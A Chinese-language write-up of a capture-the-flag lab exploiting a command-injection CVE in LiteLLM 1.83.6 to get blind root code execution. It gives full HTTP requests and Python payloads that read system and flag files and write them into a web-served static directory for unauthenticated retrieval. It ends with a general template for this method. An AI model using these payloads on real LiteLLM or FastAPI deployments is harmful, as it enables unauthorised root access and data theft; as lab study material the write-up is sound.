春秋云镜 CVE-2026-42271 LiteLLM 的文章封面
返回文章列表
Neuroblue writing

春秋云镜 CVE-2026-42271 LiteLLM

春秋云镜 LiteLLM 1.83.6 的命令注入至盲 RCE 复盘:用 MCP stdio 白名单里的 python3 触发注入,再用「写 web 静态目录 → 免认证 GET」破解不出网下的取回显问题。

春秋云镜 CVE-2026-42271 LiteLLM

目标:春秋云镜 LiteLLM 1.83.6 日期:2026-08-23 | 结果:已拿 flag 版本确认:/health/readiness 返回 "litellm_version":"1.83.6"(影响区间 1.74.2–1.83.6 内) master key:已从环境获得


一、总体思路

  1. 确认目标为 LiteLLM 1.83.6(fastapi/uvicorn 服务)。
  2. 用 master key 访问 MCP stdio 测试端点,通过 command 白名单里的 python3 触发命令注入。
  3. 证实命令以 root 执行(时间侧信道)。
  4. 因容器不出网(HTTP/DNS 带外均失败),改用写 web 静态目录 → 免认证 GET 回显读 flag。

二、确认版本与 master key

2.1 版本

GET /health/readiness
→ {"status":"healthy","db":"Not connected","litellm_version":"1.83.6",...}
  • 目标为无数据库(no-DB)部署db: "Not connected"
  • 1.83.6 在 CVE-2026-42271 影响区间 [1.74.2, 1.83.6]。

2.2 master key 校验

  • no-DB 部署下,user_api_key_auth 校验 master key env LITELLM_MASTER_KEY
  • Authorization: Bearer <master-key> 访问受保护管理端点时,返回不再是 “Authentication Error / No connected db / Only PROXY_ADMIN”,而是进入端点真实逻辑 → key 有效。
  • 关键判定:请求返回 Failed to connect to MCP server(而不是鉴权类错误)= 角色已通过、进入业务逻辑。

三、RCE 触发 exp

两个入口等效:POST /mcp-rest/test/connectionPOST /mcp-rest/test/tools/list

3.1 白名单

stdio 的 command 必须是:

['deno', 'docker', 'node', 'npx', 'python', 'python3', 'uvx']

bash/id 等不在白名单 → 返回 422 Value error, Command '...' is not in the allowed commands list

3.2 触发命令注入(python3 过白名单)

POST /mcp-rest/test/connection HTTP/1.1
Host: <target-ip>:<port>
Authorization: Bearer <master-key>
Content-Type: application/json

{
  "transport": "stdio",
  "command": "python3",
  "args": [
    "-c",
    "import os; os.popen('id > /tmp/pwned && whoami >> /tmp/pwned && cat /etc/hostname >> /tmp/pwned')"
  ]
}
  • 该请求返回 {"status":"error","error":true,"message":"Failed to connect to MCP server..."}
  • 该返回不代表命令没执行(LiteLLM 用 mcp SDK 做 JSON-RPC 握手,子进程不按协议应答即握手失败, 命令 stdout 被丢弃 → 盲执行;但 os.popen(...) 在 -c 首行已执行)。

3.3 时间侧信道证实 RCE(关键判定)

{"transport":"stdio","command":"python3","args":["-c","import sys;sys.exit(0)"]}
→ 端点响应约 0.3s

{"transport":"stdio","command":"python3","args":["-c","import time;time.sleep(12)"]}
→ 端点响应约 12.3s

time.sleep(12) 真的以 root 跑完 → RCE 成立。实测 host 信息:hostname=engine-2, uid=0(root), Linux 5.10


四、回显方案排查(逐一出网路径验证)

方案做法结果
HTTP 带外命令回连 VPS无命中 → 容器不出网
DNS 带外命令解析 *.c12b6d7ecb.ddns.eu.org后台无记录 → 不可用
MCP 回显自建 MCP server 走 tools/list握手始终失败,未回显

→ 余下最可靠:写 web 静态目录 → 免认证 GET


五、破局:写 web 静态目录回显(最终拿 flag)

5.1 定位静态挂载真实物理目录(盲 RCE 下不能靠 print)

前提:MCP 盲 RCE 下 print(...) 的 stdout 会被握手吞掉,没有回显。 所以”拿结果”必须走 写文件 → HTTP GET 读回 闭环,而不是 print。

定位思路/swagger/swagger-ui.css 能被 GET(首页引用了它,返回 200),说明它一定位于被 StaticFiles(directory=...) 挂载到 /swagger/ 的那个物理目录里。用 RCE 全盘 find 这个文件名,就能反推出物理目录。

有效做法(一次 RCE,结果写入 swagger 物理目录,再由 GET 读回)

python3 -c '
import os,subprocess
r=subprocess.run(["find","/","-xdev","-name","swagger-ui.css","-type","f","-maxdepth","8"],
                 capture_output=True,text=True)
sw = os.path.dirname(r.stdout.splitlines()[0]) if r.stdout else "NONE"
try: flag=open("/flag").read()
except: flag=""
# 把 find 结果 + flag 写进 swagger 物理目录,稍后用 GET 读回
for d in [sw, "/usr/local/lib/python3.11/site-packages/litellm/proxy/swagger", "/app"]:
    try:
        os.makedirs(d, exist_ok=True)
        open(os.path.join(d,"PWN.txt"),"w").write("SW="+sw+"\nFLAG="+flag+"\n")
    except: pass
'

读回(有回显,确定目录的真正依据)

GET /swagger/PWN.txt
→ SW=/usr/local/lib/python3.11/site-packages/litellm/proxy/swagger
  FLAG=...

结果:swagger 静态挂载物理目录 = /usr/local/lib/python3.11/site-packages/litellm/proxy/swagger

  • 该目录被 LiteLLM 以 StaticFiles(directory=...) 挂到 /swagger/
  • 这里 SW= 字段(来自 GET 响应)才是”确定目录”的证据;print 那条命令单独发是无回显、无用的。

5.2 把 flag 写入该目录(单独一步,写法固定)

POST /mcp-rest/test/connection HTTP/1.1
Host: <target-ip>:<port>
Authorization: Bearer <master-key>
Content-Type: application/json

{
  "transport": "stdio",
  "command": "python3",
  "args": [
    "-c",
    "import os; SW='/usr/local/lib/python3.11/site-packages/litellm/proxy/swagger'; body=''
    for p in ['/flag','/flag.txt','/fFlag','/tmp/flag','/opt/flag','/root/flag','/app/flag','/.flag']:
        try: body+='FILE '+p+'='+open(p).read()+'\\n'
        except: pass
    os.makedirs(SW,exist_ok=True)
    open(SW+'/PWN_flag.txt','w').write(body)"
  ]
}

5.3 免认证 GET 读回

GET http://<target-ip>:<port>/swagger/PWN_flag.txt
→ flag{823e476e-36c7-4a72-8de3-83f1b96f6cb4}

静态资源(/swagger//ui/ 等挂载点)走 StaticFiles,无需 API key、无需 BadHost 绕过,浏览器直接 GET 即可。 这也是为什么”写 web 静态目录”能作为盲 RCE 的唯一回显通道。


六、结果与关键信息

  • flag:flag{823e476e-36c7-4a72-8de3-83f1b96f6cb4}
  • 主机:hostname=engine-2uid=0(root),OS Linux 5.10(5.10.134-18.0.12.lifsea8.x86_64)
  • 进程 cwd:/app
  • 可写且 web 可读目录:site-packages/litellm/proxy/swagger(挂载 /swagger/

七、通用模板

对 FastAPI/Starlette 类服务:

  1. RCE 定位某个 StaticFiles(directory=...) 静态挂载的物理目录(如 find swagger-ui.css/index.html)。
  2. 命令把数据写入该目录(运行用户 root 可覆盖 site-packages)。
  3. 用对应 URL 前缀(如 /swagger/<file>)免认证 GET 读回。

该法绕过了 HTTP/DNS 双出网限制下”拿不到盲打输出”的问题,是此类盲 RCE 的通用破局手段。